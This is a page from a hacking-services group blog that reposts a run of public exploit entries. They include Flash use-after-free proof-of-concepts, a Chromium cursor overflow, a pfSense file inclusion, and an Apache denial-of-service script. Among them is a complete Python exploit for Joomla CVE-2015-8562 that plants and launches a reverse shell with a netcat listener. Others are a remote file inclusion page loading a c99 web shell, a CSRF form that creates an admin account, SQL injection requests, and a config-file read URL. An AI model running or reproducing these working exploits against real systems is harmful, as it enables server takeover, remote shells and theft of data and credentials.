Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863178511

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=578

There is a use-after-free in the TextField.htmlText setter. If the htmlText the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.htmlText = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "<b>hello</b>";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39051.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=583

If a TextField variable is set to a value with toString defined, and the TextField is updated, a use-after-free can occur if the toString method frees the TextField's parent. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 301);
var my_txt = mc.createTextField("my_txt", 302, 0, 0, 100, 100); 
trace(my_txt);
my_txt.variable = "today_date"; 
mc.today_date = "blah"; 
var times = 0;
 
var date_interval:Number = setInterval(updateDate, 500);
 
function updateDate() { 
    mc.today_date = {toString : func}; 
}

function func(){
	if(times == 0){
		times++;
		mc.removeMovieClip();
	}

	return "test";
	
	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39049.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=579

There is a use-after-free in the TextField.variable setter. If the variable name that is added is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.variable = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "myvar";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39050.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=584

There is a use-after-free in the TextField.replaceText function. If the function is called with a string parameter with toString defined, or an integer parameter with valueOf defined, the parent object of the TextField can be used after it is freed. Please note that all three parameters of this function are susceptible to this issue.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceText( 1, 2, {valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39048.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=585

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.

A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=587

There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};

function func(){
   
        if(times == 0){
          times++;
          return 0;
        }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39045.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=588

There is a use-after-free in the TextField sharpness setter. If the sharpness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.sharpness = {valueOf : func};

function func(){
   
        if(times == 0){
          times++;
          return 0;
        }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39044.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=586

The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
var f = new TextFormat();
tf.setFormat( {valueOf : func}, 2, f);

function func(){

        if(times == 0){
             times++;
             return 0;

         }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=590

There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:

var mc = this.createEmptyMovieClip("mc", 301);
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
myText_txt.text = "this is my text";
Selection.setFocus("myText_txt");
var n = {valueOf : func};
Selection.setSelection(n, 3);

function func(){

  mc.removeMovieClip();
  // Fix heap here
  return 0;

}

A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=591

There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 

A minimal PoC follows:


this.createEmptyMovieClip("mc", 1);

mc.duplicateMovieClip( "mc",{valueOf : func});


function func(){
	
	trace("in func");
	mc.removeMovieClip();

        // Fix heap here

	return 5;
	
	}
	
	
A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=593

There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

        return 5;
	
	}
	


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=664

There is an overflow in the ui::PlatformCursor WebCursor::GetPlatformCursor method. In src/content/common/cursors/webcursor_aurax11.cc&q=webcursor_aurax11.cc, there is the following code:

bitmap.allocN32Pixels(custom_size_.width(), custom_size_.height());
memcpy(bitmap.getAddr32(0, 0), custom_data_.data(), custom_data_.size());

The bitmap buffer is allocated based on the width and height of the custom_size_, but the memcpy is performed using the size of the custom_data_.

These values are set during WebCursor deserialization in src/content/common/cursors/webcursor.cc in WebCursor::Deserialize.

custom_size_ is set from two integers that a deserialized from a message and can be between 0 and 1024. custom_data_ is set from a vector that is deserialized, and can be any size, unrelated to the width and height. The custom_data_ is verified not to be smaller than the expected pixel buffer based on the width and height, but can be longer.

GetPlatformCursor is called indirectly by RenderWidgetHostImpl::OnSetCursor, which is called in response to a  ViewHostMsg_SetCursor message from the renderer.

The issue above is in the x11 implementation, but it appears also affect other platform-specific implementations other than the Windows one, which instead reads out of bounds.

I recommend this issue be fixed by changing the check in WebCursor::Deserialize:

if (size_x * size_y * 4 > data_len)
    return false;

to

if (size_x * size_y * 4 != data_len)
    return false;

to prevent the issue in all platform-specific implementations.
 
To reproduce the issue replace WebCursor::Serialize with:

bool WebCursor::Serialize(base::Pickle* pickle) const {

  if(type_ == WebCursorInfo::TypeCustom){
  LOG(WARNING) << "IN SERIALIZE\n";
  if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(2) ||
      !pickle->WriteInt(1) ||
      !pickle->WriteFloat(custom_scale_))
     return false;
   }else{

     if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(custom_size_.width()) ||
      !pickle->WriteInt(custom_size_.height()) ||
      !pickle->WriteFloat(custom_scale_))
    return false;

  }
  const char* data = NULL;
  if (!custom_data_.empty())
    data = &custom_data_[0];
  if (!pickle->WriteData(data, custom_data_.size()))
    return false;

  return SerializePlatformData(pickle);
}

and visit the attached html page, with the attached image in the same directory.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39039.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip
HireHackking 
# Title : PFSense  <= 2.2.5 Directory Traversal
# Date : 18/12/2015
# Author : R-73eN
# Tested on : PFSense 2.2.5
# Software : https://github.com/pfsense/pfsense
# Vendor : https://pfsense.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# Fix provided by the vendor https://github.com/pfsense/pfsense/commit/3ac0284805ce357552c3ccaeff0a9aadd0c6ea13
#
#


In pfsense <= 2.2.5 (Latest Version) , during a security audit i discovered the following vulnerabilities in the pfsense Webgui.

The following files are vulnerable to a file inclusion attack

wizard.php?xml=
pkg.php?xml=

Both of this files do not sanitize the path of the xml parameter and we can load xml files, and loading a special crafted xml file we can gain command execution.

Example:
1.xml (the filename can be whatever .txt , .jpg etc because it does not check for the file extension)

The content of the 1.xml should be:

<?xml version="1.0" encoding="utf-8" ?>
<pfsensewizard>
<totalsteps>12</totalsteps>
<step>
<id>1</id>
<title>LFI example </title>
<description>Lfi example </description>
<disableheader>on</disableheader>
<stepsubmitphpaction>step1_submitphpaction();</stepsubmitphpaction>
<includefile>/etc/passwd</includefile>
</step>
</pfsensewizard>

the parameter <includefile> is passed to a require_once() function which triggers the File inclusion Attack.
As we all know File inclusion attack can be converted to  RCE  very easily.

Then visiting

http://vulnhost/wizard.php?xml=../../../1.xml

where the "xml" parameter is the path of the crafted file, will trigger the vulnerability.

Thanks
Rio Sherri
https://www.infogen.al/ - Infogen AL
HireHackking 
# Exploit Title: Apache 2.4.17 - Denial of Service
# Date: 17/12/2015
# Exploit Author: rUnVirus [ Ahmed Atif]
# Vendor Homepage: www.apache.org
# Software Link: https://www.apachefriends.org/download.html/
# Version: 5.5.30
# Tested on: windows 7 - XAMPP Version 5.5.30 (Apache 2.4.17 - PHP 5.5.30) 


<?php

$s="<?php

//!*runvirus:start*!";

$s2="!*runvirus:end*! ?>";


 
$shellcode= 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

";
 
$egg = $s.$shellcode.$s2;



$content = preg_replace(
  '%//!\*runvirus:start\*!(.)+!\*runvirus:end\*!%s',
  'test',
  $egg
);

echo 'If you can see this everything seems to be working fine.';

?>
HireHackking 
#!/usr/bin/env python

# Exploit Title: Joomla 1.5 - 3.4.6 Object Injection RCE X-Forwarded-For header
# Date: 12/17/2015
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Vendor Homepage: https://www.joomla.org/
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
# Version: Joomla 1.5 - 3.4.6
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562


'''
    Joomla 1.5 - 3.4.6 Object Injection RCE - CVE-2015-8562
    PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE

    Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com): 
    https://www.exploit-db.com/exploits/38977/

    Vulnerability Info, Exploit, Detection:
    https://breakpoint-labs.com/joomla-rce-cve-2015-8562/

    Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log

    Usage - Automate Blind RCE:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd
    $ touch /tmp/newhnewh    

    Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/
    [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444
    <Response [200]>
    [+] Spawning reverse shell....
    <Response [200]>

    Listening on [0.0.0.0] (family 0, port 4444)
    $ python -c "import pty;pty.spawn('/bin/bash')"
    www-data@ubuntu:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@ubuntu:/$ 

'''
    
import requests
import subprocess
import argparse
import sys
import base64
 
# Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com)
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
    'x-forwarded-for': user_agent   # X-Forwarded-For header instead of UA
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response


def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]

 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template


def main():
    parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
    parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
    parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')

    args = parser.parse_args()

    if args.cmd:
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl)

    # Spawn Reverse Shell using Netcat listener + Python shell on victim
    elif args.LPORT and args.LPORT:
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        # pentestmonkey's Python reverse shell one-liner:
        shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
        # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
        encoded_comm = base64.b64encode(shell_str)
        # Stage 1 payload Str
        payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm)
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
        # Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py"
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl)
        # Spawns Shell listener using netcat on LHOST
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        print "[+] Spawning reverse shell...."
        # Stage 2: Executes Python reverse shell back to LHOST:LPORT
        pl = generate_payload("system('python /tmp/newhnewh.py');")
        print get_url(args.RHOST, pl)
    else:
        print '[!] missing arguments'
        parser.print_help()


if __name__ == "__main__":
    main()
HireHackking 
<!--
# Title: Ovidentia maillist 4.0 Module Remote File Inclusion Exploit
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Google-Dork: n/a-->Not for kiddies!
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fmaillist&file=maillist-4-0.zip&idf=794

PoC:

maillist-4-0/programs/mlincl.php line 4
------------------------------------------------------------------------

@include_once $GLOBALS['babInstallPath'].'utilit/registerglobals.php';

------------------------------------------------------------------------
Greetz: GoLd_M(Welcome back bro'!) :), x0r_32, Anonymous, LulzSec

----------------
~~Exploitcode~~
----------------
-->

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<script language="JavaScript">

var a="/maillist-4-0/programs/"
var b="mlincl.php"
var c="?GLOBALS[babInstallPath]="

var shellcode="http://yourshellpath.com/c99.txt?"

function it(){
xpl.action= document.xpl.victim.value+a+b+c+shellcode;xpl.submit();
}
</script>
</head>

<body bgcolor="#FFFFFF">
<p align="middle"><font color="#0000FF"><b>Ovidentia maillist 4.0 Module Remote File Inclusion Exploit</b></font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <b><font face="Tahoma" size="2"><font color="#FF0000">Usage</font>:http://someone/directory</a></font>
        or
        </font>
        <font face="Tahoma" size="2" color="#000000">http://someone</font><font 
size="2" face="Tahoma"></a> <font size="2">&nbps;--></font></font></b><font 
size="2" face="Tahoma">
        <input type="text" name="someone" size="20";"></p>
<center>
 
</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
&nbps;</p>
</center>
</body>
 
</html>
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
   
bloofoxCMS is prone to the following security vulnerabilities:
   
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
   
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
   
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected.
 
VULNERABILITY
##############
/admin/include/inc_settings_editor.php (line 56-69)

// show file
if(isset($_POST["fileurl"])) {
    $fileurl = $_POST["fileurl"];
}
if(isset($_GET["fileurl"])) {
    $fileurl = "../".$_GET["fileurl"];
}

if(file_exists($fileurl)) {
    $filelength = filesize($fileurl);
    $readfile = fopen($fileurl,"r");
    $file = fread($readfile,$filelength);
    fclose($readfile);
}



#########
EXPLOIT
#########

http://localhost/admin/index.php?mode=settings&page=editor&fileurl=config.php
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
  
bloofoxCMS is prone to the following security vulnerabilities:
  
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
  
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
  
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://localhost/admin/index.php?mode=user&action=new">
<input type="hidden" name="username" value="Admin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="pwdconfirm" value="123456"/>
<input type="hidden" name="3" value="Admin"/>
<input type="hidden" name="blocked" value="0"/>
<input type="hidden" name="deleted" value="0"/>
<input type="hidden" name="status" value="1"/>
<input type="hidden" name="login_page" value="0"/>
<input type="hidden" name="send" value="Add User"/>
</form>
</body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
 
bloofoxCMS is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
 
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
 
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/admin/index.php


POST /bloofox/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/admin/
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

action=login&password=IPHOBOS&username=\[SQL INJECTION]
HireHackking 
source: https://www.securityfocus.com/bid/65019/info

bloofoxCMS is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability

Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.

bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/index.php?login=true


POST /bloofox/index.php?login=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/index.php?login=true
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

login=Login&password=IPHOBOS&username=\[SQL INJECTION]
HireHackking 
source: https://www.securityfocus.com/bid/64991/info

Sexy polling extension for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sexy polling 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/components/com_sexypolling/vote.php
POST
answer_id[]=[SQL Injection]
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=533

This PoC triggers a crash on Windows 7 32-bit with Special Pool enabled on win32k.sys. The kernel crashes due to a use-after-free condition with bitmaps in the clipboard.
---

Note that multiple PoC executions and simulated system activity may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39027.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=534

The attached PoC triggers a null pointer condition on Windows 7 32-bit, which can potentially be exploited on versions of Windows that allow mapping the null page (e.g. Windows 7 32-bit).
---

Note that multiple PoC executions and simulated system activity (such as opening Explorer) may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39026.zip